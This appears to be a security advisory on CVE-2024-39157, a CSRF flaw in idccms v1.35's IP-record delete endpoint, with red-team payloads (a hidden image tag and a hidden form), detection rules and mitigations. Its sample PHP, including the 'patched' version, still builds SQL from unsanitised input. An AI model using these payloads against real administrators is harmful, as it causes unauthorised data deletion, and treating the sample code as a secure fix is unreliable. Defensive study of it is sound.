CVE-2024-39157

Executive Summary

CVE-2024-39157 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35, specifically within the /admin/ipRecord_deal.php?mudi=del&dataType=&dataID=1 endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions, such as deleting IP records, by crafting a malicious request. The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and has a low CVSS score of 3.1 due to the requirement for user interaction and the limited impact on integrity. No public exploit code or patch details are currently available, but the proof-of-concept is publicly known.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (idccms) and does not involve a package manager supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 3.1 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: Low (I:L) – Unauthorized deletion of IP records is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low. The attack requires social engineering to trick an admin, and the impact is limited to deleting IP records, which does not compromise sensitive data or system availability.

Deep Dive & Mechanics

The vulnerability resides in the ipRecord_deal.php script, which handles IP record management. The del action (via mudi=del) does not implement any CSRF token or origin validation. An attacker can craft a simple HTML form or image tag that, when loaded by an authenticated admin, triggers a GET request to:

/admin/ipRecord_deal.php?mudi=del&dataType=&dataID=1

This request deletes the IP record with ID 1 without the admin's consent. The lack of anti-CSRF mechanisms (e.g., tokens, SameSite cookies, or referrer checks) makes this attack trivial to execute.

Root Cause: The application does not validate the origin of requests or include a nonce/token for state-changing operations.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35): The ipRecord_deal.php script likely contains a direct deletion without CSRF protection:

<?php
// Vulnerable: No CSRF token check
if ($_GET['mudi'] == 'del') {
    $id = $_GET['dataID'];
    // Delete record from database
    $db->query("DELETE FROM ip_records WHERE id = $id");
}
?>

Patched Code (Hypothetical): A patched version would include a CSRF token validation:

<?php
session_start();
if ($_GET['mudi'] == 'del') {
    // Validate CSRF token
    if (!isset($_GET['csrf_token']) || $_GET['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $id = intval($_GET['dataID']); // Also sanitize input
    $db->query("DELETE FROM ip_records WHERE id = $id");
}
?>

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install idccms v1.35 on a local server (e.g., XAMPP or LAMP).
2. Create an admin account and log in.
3. Ensure there is at least one IP record in the database.

Exploitation Steps:

1. Craft a malicious HTML page that automatically sends a request to the vulnerable endpoint:

<html>
<body>
<h1>Click me!</h1>
<img src="http://target.com/admin/ipRecord_deal.php?mudi=del&dataType=&dataID=1" style="display:none;">
</body>
</html>

2. Host this page on an attacker-controlled server.
3. Send the link to the authenticated admin (e.g., via email or social engineering).
4. When the admin visits the page, the browser sends the GET request, deleting the IP record.

Alternative Payload (Form-based):

<form action="http://target.com/admin/ipRecord_deal.php" method="GET">
<input type="hidden" name="mudi" value="del">
<input type="hidden" name="dataType" value="">
<input type="hidden" name="dataID" value="1">
<input type="submit" value="Click here">
</form>

Blue Team (Defender)

Detection:

• Monitor for unusual GET requests to /admin/ipRecord_deal.php with mudi=del parameters.
• Check for unexpected referrer headers (e.g., from external domains).
• Enable CSRF protection by implementing tokens or SameSite cookies.

Mitigation:

• Add CSRF tokens to all state-changing forms.
• Validate the Origin or Referer header.
• Use SameSite=Strict or SameSite=Lax cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /admin/ipRecord_deal.php?mudi=del&dataType=&dataID=*
  • Referrer headers from unknown or external domains.
• File IOCs:
  • Unexpected entries in web server logs showing ipRecord_deal.php with mudi=del.
• Behavioral IOCs:
  • Deletion of IP records without corresponding admin action in audit logs.

Detection Engineering

YARA Rule

rule Detect_idccms_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39157"
    strings:
        $s1 = "ipRecord_deal.php" nocase
        $s2 = "mudi=del" nocase
        $s3 = "dataID=" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against idccms ipRecord_deal.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects GET requests to ipRecord_deal.php with mudi=del parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'ipRecord_deal.php'
            - 'mudi=del'
            - 'dataID='
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF is not implemented)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39157 - idccms CSRF Exploit"; flow:to_server; http.method; content:"GET"; http.uri; content:"ipRecord_deal.php"; content:"mudi=del"; content:"dataID="; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the ipRecord_deal.php script if not needed.
   • Implement CSRF tokens for all state-changing operations.
   • Validate the Origin and Referer headers.

2. Long-term Fix:

   • Upgrade to a patched version of idccms (if available).
   • Conduct a security audit of the entire application for similar CSRF issues.

3. Workarounds:

   • Use a Web Application Firewall (WAF) to block requests with mudi=del from external referrers.
   • Restrict access to admin panels via IP whitelisting or VPN.

4. Monitoring:

   • Enable detailed logging for admin actions.
   • Set up alerts for unusual deletion patterns.

Valters IT
Securing Digital Frontiers